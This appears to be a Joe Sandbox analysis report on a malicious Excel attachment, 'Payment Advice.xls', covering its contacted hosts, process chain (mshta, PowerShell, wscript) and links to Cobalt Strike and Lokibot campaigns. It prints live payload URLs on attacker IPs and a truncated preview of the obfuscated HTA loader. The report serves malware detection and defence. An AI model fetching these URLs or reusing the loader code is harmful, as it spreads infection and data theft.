http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.micros	powershell.exe, 00000005.00000002.483382869.000000000342E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.go	powershell.exe, 0000001B.00000002.564793899.0000000000170000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://qrisni.me/O	mshta.exe, 00000004.00000002.437120084.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.435304454.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434998134.00000000001B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/viderC	mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.gop	powershell.exe, 00000011.00000002.549107311.0000000002624000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002752000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta...v	mshta.exe, 0000000B.00000003.484724170.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002CB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htaha	mshta.exe, 00000004.00000002.437957944.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com	powershell.exe, 00000011.00000002.549107311.0000000002624000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002752000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com	powershell.exe, 00000011.00000002.549107311.00000000027E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002922000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htapV	mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.483382869.0000000002071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.497828214.00000000020F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.549107311.0000000002411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.567313664.0000000002551000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://qrisni.me/pV	mshta.exe, 0000000B.00000003.487565897.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://qrisni.me/4	mshta.exe, 0000000B.00000003.482261681.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004591000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htahttp://192.3.176.141/4	mshta.exe, 00000004.00000003.435816776.0000000002F35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484482122.00000000034A5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.486572941.00000000034A5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/vider	mshta.exe, 0000000B.00000003.487305558.000000000450C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.000000000450C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://qrisni.me/8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=	mshta.exe, 0000000B.00000002.488759413.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.000000000027A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.00000000002E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.00000000002E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.000000000029F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp, Payment Advice.xls, DA430000.0.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.176.141	unknown	United States	36352	AS-COLOCROSSINGUS	true
142.250.186.46	drive.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	qrisni.me	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
94.156.177.220	unknown	Bulgaria	43561	NET1-ASBG	true
142.250.185.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542326
Start date and time:	2024-10-25 19:45:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Sample name:	Payment Advice.xls
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLS@34/47@7/6
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 14 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xls Changed system and user locale, location and keyboard layout to French - France Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target mshta.exe, PID 3336 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3832 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Payment Advice.xls

Simulations

Behavior and APIs

Time	Type	Description
13:46:29	API Interceptor	108x Sleep call for process: mshta.exe modified
13:46:34	API Interceptor	1030x Sleep call for process: powershell.exe modified
13:46:51	API Interceptor	17x Sleep call for process: wscript.exe modified
13:47:28	API Interceptor	308x Sleep call for process: aspnet_regbrowsers.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.176.141	seethebestthingsevermeetwithgreatthingstobegood.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/42/logisticthingswithgoodthingsgivenbest.tIF
	greatthingswithgoodnewsgivenbygodthingsgreat.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/41/simplethingswithgreatthignsgivenmebestthings.tIF
	seethebestthingstobegoodwithhislifebestthigns.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/36/goodthingswithgreatcomebackwithgreatthigns.tIF
	nicegirlwithnewthingswhichevennobodknowthatkissingme.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/35/educationalthingswithgreatattitudeonhere.tIF
	SecuriteInfo.com.W97M.DownLoader.6515.29545.30613.xlsx	Get hash	malicious	Lokibot	Browse	192.3.176.141/35/SMLPERR.txt
	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141/36/LOGS%20LOKI.txt
	Logs.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141/43/LCRDDFR.txt
	logicalwayofgreatthingswhichcreatedwithgreatwayofgood.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/43/newthingswithgreatfturuewithgreatdaywellbetterforme.tIF
	greatwayforbestthignswithwhonotwanttodo.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141/42/simplethingswithgreatfuturebetteronegetbackforme.tIF
	PPM435679.xls	Get hash	malicious	Unknown	Browse	192.3.176.141/551/cw/nicevisionnicemagicalthinsforentirelifetogetmebackwithgreat.hta
188.114.97.3	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
	01YP9Lwum8.exe	Get hash	malicious	DCRat	Browse	77777cm.nyashtyan.in/externalpipejsprocessAuthapiDbtrackWordpressCdn.php
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/
	http://onlinecheapflights.net/	Get hash	malicious	Unknown	Browse	onlinecheapflights.net/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
qrisni.me	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	#PO247762.docx	Get hash	malicious	Remcos	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	43655- Urgent - Request for Quotation.exe	Get hash	malicious	Remcos	Browse	192.210.150.35
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	23.95.194.49
	seethebestthingsevermeetwithgreatthingstobegood.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141
	greatthingswithgoodnewsgivenbygodthingsgreat.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141
	seethebestthingstobegoodwithhislifebestthigns.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.176.141
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	107.174.214.206
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	172.245.19.71
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	104.168.36.51
	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	192.3.179.174
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	23.94.171.157
CLOUDFLARENETUS	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Oct25_2024.htm	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.17.25.14
	https://accesspage853.ubpages.com/4k5-ffdfg	Get hash	malicious	Unknown	Browse	104.18.41.137
	https://beta.adiance.com/wp-content/plugins/arull.php?7096797967704b5369323074645079557a5054436e4e5379314f7a644d725474524c7a732f564c7a4f4b794d6a574277413dhttps://digidunesen.sa.com/v2Xhk/#X%5Bemail%5D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://link.edgepilot.com/s/8e0e5379/EMW5cxymxkqj1qgquAdAJg?u=https://1drv.ms/o/c/67a50aba8b4bc7df/Es0QkMhT9wJGqs_vzb8xaRQBgzED6dWk5_dCMe34N16rYQ?e=5%253aTtRWoI%26sharingv2=true%26fromShare=true%26at=9&c=E,1,DNZ_Csfpwg3nzWxVo2TSq2LzcEM3C6hdkfA-QbvL5dwYrcj0RsSt_vroZV-UqAThZkP5E_WMmdbQ82a_nveA3iNTPpg_CIcQxQFCbK60ykcRIVrxnkr2VnkbdtuE&typo=1	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://asgardcapitalpartners-sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	cabbage.exe	Get hash	malicious	Atlantida Stealer	Browse	104.26.4.30
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
CLOUDFLARENETUS	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Oct25_2024.htm	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	104.17.25.14
	https://accesspage853.ubpages.com/4k5-ffdfg	Get hash	malicious	Unknown	Browse	104.18.41.137
	https://beta.adiance.com/wp-content/plugins/arull.php?7096797967704b5369323074645079557a5054436e4e5379314f7a644d725474524c7a732f564c7a4f4b794d6a574277413dhttps://digidunesen.sa.com/v2Xhk/#X%5Bemail%5D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Order Specifications for Materials.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	https://link.edgepilot.com/s/8e0e5379/EMW5cxymxkqj1qgquAdAJg?u=https://1drv.ms/o/c/67a50aba8b4bc7df/Es0QkMhT9wJGqs_vzb8xaRQBgzED6dWk5_dCMe34N16rYQ?e=5%253aTtRWoI%26sharingv2=true%26fromShare=true%26at=9&c=E,1,DNZ_Csfpwg3nzWxVo2TSq2LzcEM3C6hdkfA-QbvL5dwYrcj0RsSt_vroZV-UqAThZkP5E_WMmdbQ82a_nveA3iNTPpg_CIcQxQFCbK60ykcRIVrxnkr2VnkbdtuE&typo=1	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://asgardcapitalpartners-sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	NetSupport RAT	Browse	172.67.68.212
	cabbage.exe	Get hash	malicious	Atlantida Stealer	Browse	104.26.4.30
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	SecuriteInfo.com.W97M.DownLoader.6515.29545.30613.xlsx	Get hash	malicious	Lokibot	Browse	142.250.186.46 142.250.185.97
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.46 142.250.185.97
	transferencia interbancaria_66579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	142.250.186.46 142.250.185.97
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	142.250.186.46 142.250.185.97
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	142.250.186.46 142.250.185.97
	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	142.250.186.46 142.250.185.97
	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	142.250.186.46 142.250.185.97
	#PO247762.docx	Get hash	malicious	Remcos	Browse	142.250.186.46 142.250.185.97
	PO NAHK22012FA000000.docx	Get hash	malicious	Unknown	Browse	142.250.186.46 142.250.185.97
	PO NAHK22012FA00000.docx.doc	Get hash	malicious	Remcos	Browse	142.250.186.46 142.250.185.97
7dcce5b76c8b17472d024758970a406b	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Credit_Details2251397102400024.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.W97M.DownLoader.6515.29545.30613.xlsx	Get hash	malicious	Lokibot	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Other.Malware-gen.26961.24680.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3 188.114.96.3
	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	188.114.97.3 188.114.96.3
	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4742
Entropy (8bit):	4.8105940880640246
Encrypted:	false
SSDEEP:	96:mCJ2Woe5Sgyg12jDs+un/iQLEYFjDaeWJ6KGcmXuFRLcU6/KI2k6Lm5emmXIG:Jxoe5+gkjDt4iWN3yBGH+dcU6CIVsm5D
MD5:	278C40A9A3B321CA9147FFBC6BE3A8A8
SHA1:	D795FC7D3249F9D924DC951DA1DB900D02496D73
SHA-256:	4EB0EAE13C3C67789AD8940555F31548A66F5031BF1A804E26EA6E303515259E
SHA-512:	E7222B41A436CE0BF8FA3D8E5EB8249D4D3985419D0F901F535375789F001B5929EF9B85C1D6802F0FBD5F722A52CB27021F87D076E69D92F46C7C3E894C6F00
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script............7...q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Remove-Variable........Convert-String........Trace-Command........Sort-Object........Register-Object

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingsevermeetwithgreatthingstobegood[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65520), with CRLF line terminators
Category:	modified
Size (bytes):	209271
Entropy (8bit):	1.8971867642493168
Encrypted:	false
SSDEEP:	96:Eac75EdYJF9OfdYJh9OC/7oRD1gnQbPy9YhrrudYJOdYJEA9OqdYJG7T:EaA5EmFwfmhwYUZ2mOmEAwqm0T
MD5:	964A54D784F1CBEF1EFFAA3AB917FCBC
SHA1:	6D9D2657D1A8277A3427E0819E8260A2AC341E93
SHA-256:	862CE1B2CDC84BF1A2833D131159FB2B890E9BDB60BCBC689A5ACD9441B441D5
SHA-512:	C9E0B1CC0597C98F103A84CAB21E4FDF4B6D4306DB22F3EBD3BCCDF08870CF8CB38C7E58047F77F8375059A206294885C4ECA91ECA8CB14530336620868563CB
Malicious:	true
Preview:	<script>.. ..document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253Cscript%252520language%25253DJavaScript%25253Em%25253D%252527%2525253Cscript%25252520language%2525253DJavaScript%2525253Em%2525253D%25252527%252525253C%2525252521DOCTYPE%2525252520html%252525253E%252525250A%252525253Cmeta%2525252520http-equiv%252525253D%2525252522X-UA-Compatible%2525252522%2525252520content%252525253D%2525252522IE%252525253DEmulateIE8%2525252522%2525252520%252525253E%252525250A%252525253Chtml%252525253E%252525250A%252525253Cbody%252525253E%252525250A%252525253CScRIPT%2525252520TYpe%252525253D%2525252522teXt/vBScrIPt%2525252522%252525253E%252525250ADIm%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%2525252520%25252

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\logisticthingswithgoodthingsgivenbest[1].tiff

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	139966
Entropy (8bit):	3.69799018379228
Encrypted:	false
